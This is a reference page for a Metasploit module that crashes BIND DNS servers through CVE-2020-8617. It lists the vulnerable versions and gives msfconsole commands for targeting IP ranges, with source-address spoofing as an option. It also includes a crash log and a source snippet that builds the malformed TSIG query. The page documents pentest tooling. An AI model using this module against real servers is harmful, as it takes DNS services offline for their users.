BIND TSIG Badtime Query Denial of Service - Metasploit


This page contains detailed information about how to use the auxiliary/dos/dns/bind_tsig_badtime metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: BIND TSIG Badtime Query Denial of Service
Module: auxiliary/dos/dns/bind_tsig_badtime
Source code: modules/auxiliary/dos/dns/bind_tsig_badtime.rb
Disclosure date: 2020-05-19
Last modification time: 2021-02-24 20:24:57 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 53
List of CVEs: CVE-2020-8617

A logic error in code which checks TSIG validity can be used to trigger an assertion failure in tsig.c.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/dos/dns/bind_tsig_badtime
msf auxiliary(bind_tsig_badtime) > show options
    ... show and set options ...
msf auxiliary(bind_tsig_badtime) > set RHOSTS ip-range
msf auxiliary(bind_tsig_badtime) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(bind_tsig_badtime) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(bind_tsig_badtime) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(bind_tsig_badtime) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


The following versions of BIND.

  • 9.0.0 -> 9.11.18
  • 9.12.0 -> 9.12.4-P2
  • 9.14.0 -> 9.14.11
  • 9.16.0 -> 9.16.2
  • 9.17.0 -> 9.17.1 of the 9.17 experimental development branch.
  • All releases in the obsolete 9.13 and 9.15 development branches.
  • All releases of BIND Supported Preview Edition from 9.9.3-S1 -> 9.11.18-S1.

The attacker must know the name of the real TSIGKey on the target in order to exploit CVE-2020-8617. However, by default, BIND generates a TSIGKey that name of "local-ddns" at boot time. As such, the majority of target versions are vulnerable to this attack.

$ sudo cat /var/run/named/session.key
key "local-ddns" {
        algorithm hmac-sha256;
        secret "s/+GOoQRryn/VVndpmFHsgDOBLwndh1zEjVJLK5jo04=";
};

Verification Steps


  1. Start the vulnerable server
  2. Start msfconsole
  3. Do: use auxiliary/dos/dns/bind_tsig_badtime
  4. Do: run
  5. The server should crash

Scenarios


Server output from crash

26-May-2020 02:45:59.565 general: critical: tsig.c:954: INSIST(msg->verified_sig) failed, back trace
26-May-2020 02:45:59.565 general: critical: #0 0x563435d6aa40 in __do_global_dtors_aux_fini_array_entry()+0x5634357f6888
26-May-2020 02:45:59.565 general: critical: #1 0x563435f49c0a in __do_global_dtors_aux_fini_array_entry()+0x5634359d5a52
26-May-2020 02:45:59.565 general: critical: #2 0x563435ecfcb9 in __do_global_dtors_aux_fini_array_entry()+0x56343595bb01
26-May-2020 02:45:59.565 general: critical: #3 0x563435e14b19 in __do_global_dtors_aux_fini_array_entry()+0x5634358a0961
26-May-2020 02:45:59.565 general: critical: #4 0x563435d5b57f in __do_global_dtors_aux_fini_array_entry()+0x5634357e73c7
26-May-2020 02:45:59.565 general: critical: #5 0x563435d5cffd in __do_global_dtors_aux_fini_array_entry()+0x5634357e8e45
26-May-2020 02:45:59.565 general: critical: #6 0x563435d5d6a8 in __do_global_dtors_aux_fini_array_entry()+0x5634357e94f0
26-May-2020 02:45:59.565 general: critical: #7 0x563435d5f1a7 in __do_global_dtors_aux_fini_array_entry()+0x5634357eafef
26-May-2020 02:45:59.565 general: critical: #8 0x563435f716d9 in __do_global_dtors_aux_fini_array_entry()+0x5634359fd521
26-May-2020 02:45:59.565 general: critical: #9 0x7f6513f576db in __do_global_dtors_aux_fini_array_entry()+0x7f65139e3523
26-May-2020 02:45:59.565 general: critical: #10 0x7f6513c8088f in __do_global_dtors_aux_fini_array_entry()+0x7f651370c6d7
26-May-2020 02:45:59.565 general: critical: exiting (due to assertion failure)

Go back to menu.

Msfconsole Usage


Here is how the dos/dns/bind_tsig_badtime auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/dns/bind_tsig_badtime

msf6 auxiliary(dos/dns/bind_tsig_badtime) > show info

       Name: BIND TSIG Badtime Query Denial of Service
     Module: auxiliary/dos/dns/bind_tsig_badtime
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-05-19

Provided by:
  Tobias Klein
  Shuto Imai

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  BATCHSIZE  256              yes       The number of hosts to probe in each set
  INTERFACE                   no        The name of the interface
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      53               yes       The target port (UDP)
  SRC_ADDR                    no        Source address to spoof
  THREADS    10               yes       The number of concurrent threads

Description:
  A logic error in code which checks TSIG validity can be used to 
  trigger an assertion failure in tsig.c.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-8617
  https://gitlab.isc.org/isc-projects/bind9/-/issues/1703
  https://www.trapkit.de/advisories/TKADV2020-002.txt

Module Options


This is a complete list of options available in the dos/dns/bind_tsig_badtime auxiliary module:

msf6 auxiliary(dos/dns/bind_tsig_badtime) > show options

Module options (auxiliary/dos/dns/bind_tsig_badtime):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BATCHSIZE  256              yes       The number of hosts to probe in each set
   INTERFACE                   no        The name of the interface
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      53               yes       The target port (UDP)
   SRC_ADDR                    no        Source address to spoof
   THREADS    10               yes       The number of concurrent threads

Advanced Options


Here is a complete list of advanced options supported by the dos/dns/bind_tsig_badtime auxiliary module:

msf6 auxiliary(dos/dns/bind_tsig_badtime) > show advanced

Module advanced options (auxiliary/dos/dns/bind_tsig_badtime):

   Name                   Current Setting  Required  Description
   ----                   ---------------  --------  -----------
   CHOST                                   no        The local client address
   CPORT                                   no        The local client port
   GATEWAY_PROBE_HOST     8.8.8.8          yes       Send a TTL=1 random UDP datagram to this host to discover the default gateway's MAC
   GATEWAY_PROBE_PORT                      no        The port on GATEWAY_PROBE_HOST to send a random UDP probe to (random if 0 or unset)
   SECRET                 1297303073       yes       A 32-bit cookie for probe requests.
   ScannerMaxResends      10               yes       The maximum times to resend a packet when out of buffers
   ScannerRecvInterval    30               yes       The maximum numbers of sends before entering the processing loop
   ScannerRecvQueueLimit  100              yes       The maximum queue size before breaking out of the processing loop
   ScannerRecvWindow      0                yes       The number of seconds to wait post-scan to catch leftover replies
   ShowProgress           true             yes       Display progress messages during a scan
   ShowProgressPercent    10               yes       The interval in percent that progress should be shown
   VERBOSE                false            no        Enable detailed status messages
   WORKSPACE                               no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the dos/dns/bind_tsig_badtime module can do:

msf6 auxiliary(dos/dns/bind_tsig_badtime) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the dos/dns/bind_tsig_badtime auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/dns/bind_tsig_badtime) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

x00x10


Here is a relevant code snippet related to the "x00x10" error message:

79:	    # Rest of TSIG
80:	    query << "\x00\x00\x00\x00\x00\x00" # Time Signed: Jan  1, 1970 00:00:00.000000000 UTC
81:	    query << "\x00\x00" # Fudge: 0
82:	    query << "\x00\x00" # MAC Size: 0
83:	    query << "\x00\x00" # Original Id: 0
84:	    query << "\x00\x10" # Error: BadSig (16)
85:	    query << "\x00\x00" # Other len: 0
86:	  end
87:	
88:	  def get_domain
89:	    domain = "\x06#{Rex::Text.rand_text_alphanumeric(6)}"

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Tobias Klein
  • Shuto Imai

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.